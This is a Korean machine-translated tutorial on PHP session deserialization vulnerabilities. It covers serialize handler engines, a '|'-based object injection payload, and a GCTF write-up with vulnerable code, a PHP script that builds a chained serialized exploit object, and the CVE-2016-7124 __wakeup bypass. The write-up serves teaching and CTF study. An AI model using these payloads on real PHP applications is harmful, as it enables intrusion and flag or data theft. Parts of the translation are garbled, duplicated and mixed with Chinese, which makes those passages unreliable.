이 글은 주로 PHP의 세션역직렬화 취약점을 소개합니다. 필요한 친구는 참고하면 됩니다.
php.ini에는 세 가지 구성 항목이 있습니다:
session.save_path="" --设置session的存储路径 session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动 session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php
위 옵션은 PHP 옵션의 세션 저장과 관련됩니다. 시퀀스 저장.
xampp 컴포넌트를 사용한 설치에서는 위 구성 항목이 다음과 같이 설정됩니다.
session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下 session.save_handler=files 表明session是以文件的方式来进行存储的 session.auto_start=0 表明默认不启动session session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎
위 구성에서는 session.serialize_handler를 사용하여 기본 PHP 엔진 외에 세션 직렬화 엔진을 설정합니다. 다른 엔진의 경우, 다른 엔진에 해당하는 세션이 다른 방식으로 저장됩니다.
php_binary: 저장 방식은 키 이름의 길이에 해당하는 ASCII 문자 + 키 이름 + serialize() 함수에 의해 직렬화된 값
php: 저장 방식은 키 이름 + 세로 막대 + serialize() 함수 직렬화된 값
php_serialize (php>5.5.4): 저장 방법은 PHP에서 serialize() 함수
로 직렬화된 값을 기본으로 사용하는 것입니다. 다른 엔진으로 수정하려면 ini_set('session.serialize_handler', '설정해야 할 엔진');을 추가하면 됩니다. 샘플 코드는 다음과 같습니다.
session 디렉토리는 /var/lib/php/sessions에 있습니다.
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION['name'] = 'spoock'; var_dump($_SESSION);
php_serialize 엔진에서 세션 파일에 저장된 데이터는 다음과 같습니다.
a:1:{s:4:"name";s:6:"spoock";}
php php 아래의 파일 내용 엔진은
name|s:6:"spoock";
php_binary 엔진 아래 파일 내용은
names:6:"spoock";
이름의 길이가 4이므로 4는 ASCII 테이블의 EOT에 해당합니다. php_binary의 저장 규칙에 따르면 마지막 것은 names:6:"spoock";입니다. (갑자기 웹 페이지에서 ASCII 값이 4인 문자를 표시할 수 없다는 사실을 발견했습니다. ASCII 표를 직접 확인하시기 바랍니다.)
PHP 세션의 직렬화 위험
Session 구현에는 문제가 없습니다. PHP의 경우, 피해는 주로 프로그래머가 세션을 부적절하게 사용하여 발생합니다.
저장된 $_SESSION 데이터를 역직렬화하기 위해 PHP에서 사용하는 엔진이 직렬화에 사용되는 엔진과 다른 경우 데이터가 올바르게 역직렬화되지 않습니다. 신중하게 구성된 데이터 패킷을 통해 프로그램 검증을 우회하거나 일부 시스템 방법을 실행할 수 있습니다. 예:
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
php 파일 예:
로그인 후 복사
접속 후 세션 파일의 내용은 다음과 같습니다.
root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6 a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";
그러나 이때 시뮬레이션이 다른 페이지에서 읽기 위해 다른 PHP 엔진을 사용하는 경우 해당 내용은 (기본값은 php 엔진 세션 파일 읽기를 사용합니다)
a; } } // var_dump($_SESSION);
이 페이지를 방문하여 xx
xxarray(1) { ["a:1:{s:4:"ryat";s:30:""]=> object(A)#1 (1) { ["a"]=> string(2) "xx" } }
이는 php 엔진을 사용할 때 php 엔진이 키와 값 사이의 구분 기호로 |를 사용하기 때문입니다. :1:{s :4:"ryat";s:30:"을 세션 키로 사용하고 O:1:"A":1:{s:1:"a";s:2:"xx"; } 값으로, 직렬화 해제 후에는 최종적으로 클래스 A를 얻게 됩니다.
직렬화와 역직렬화에 사용되는 엔진이 다르기 때문에 세션이 PHP 엔진을 사용하여 페이지를 로드할 때 PHP 세션 직렬화 취약점이 발생합니다.
GCTF에 대한 세션 역직렬화 취약점 분석:
index.php의 내용은 다음과 같습니다. php에서 직렬화 작업 데이터에 액세스하는 데 자주 사용되지만 직렬화 프로세스 중에 제대로 처리되지 않으면 일부 보안 위험이 발생할 수 있습니다.
<?php //error_reporting(E_ERROR & ~E_NOTICE); ini_set('session.serialize_handler', 'php_serialize'); header("content-type;text/html;charset=utf-8"); session_start(); if(isset($_GET['src'])){ $_SESSION['src'] = $_GET['src']; highlight_file(FILE); print_r($_SESSION['src']); } ?> <!DOCTYPE HTML> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>代码审计2</title> </head> <body>
query.php의 내용은 다음과 같습니다.
<form action="./query.php" method="POST"> <input type="text" name="ticket" /> <input type="submit" /> </form> <a href="./?src=1">查看源码</a> </body> </html>
아이디어는 다음과 같습니다. 이 질문에서는 TOPC를 구성하고 이것이 파괴되면 echo $this->attr;
가 호출됩니다. echo TOPB에서 TOPB 객체에 attr을 할당합니다. a href="//m.sbmmt.com/wiki/206.html" target="_blank">마법의 메소드
가 자동으로 tostring에서 호출됩니다. unserialize($this- >attr)
, 토큰과 티켓은 나중에 사용되므로 분명히 $this->obj->token === $this->obj->이어야 하는 TOPA 개체입니다. ticket
이므로 직렬화할 때 $a->ticket = &$a->token;
을 사용하여 포인터 참조를 만들어 echo $this->attr;
;
将attr赋值为TOPB对象,在echo TOPB的时候会自动调用tostring魔术方法
在tostring中会调用unserialize($this->attr)
,因为后面用到token和ticket,所以显然时TOPA对象。后面判断需要$this->obj->token === $this->obj->ticket
,所以在序列化的时候进行指针引用使$a->ticket = &$a->token;
,即可绕过判断。
至于为什么(string)$this->obj
에 대한 판단을 우회하세요. (string)$this->obj
는 플래그를 출력하며 백그라운드에 기록된 로그인은 tostring일 수 있습니다. 이를 지우는 역직렬화 string
에 wakeup() 함수가 있을 것입니다. , CVE: CVE-2016-7124를 통해 우회할 수 있는지 문의했습니다. Object의 수량을 나타내는 필드를 실제 필드보다 큰 값으로 변경하면 wakeup 기능을 우회할 수 있습니다.
/************************/ /* //query.php 部分代码 session_start(); header('Look me: edit by vim ~0~') //...... class TOPA{ public $token; public $ticket; public $username; public $password; function login(){ //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉 $this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){ return 'key is:{'.$this->token.'}'; } } } class TOPB{ public $obj; public $attr; function construct(){ $this->attr = null; $this->obj = null; } function toString(){ $this->obj = unserialize($this->attr); $this->obj->token = $FLAG; if($this->obj->token === $this->obj->ticket){ return (string)$this->obj; } } } class TOPC{ public $obj; public $attr; function wakeup(){ $this->attr = null; $this->obj = null; } function destruct(){ echo $this->attr; } } */
$testa = new TOPA(); $testc = new TOPC(); $testb = new TOPB(); $testa->username = 0; $testa->password = 0; $testa->ticket = &$testa->token; $sa = serialize($testa); $testc->attr = $testb; $testb->attr = $sa; $test = serialize($testc); echo $test;
위 내용은 PHP의 SESSION 역직렬화 취약점에 대한 심층 분석의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!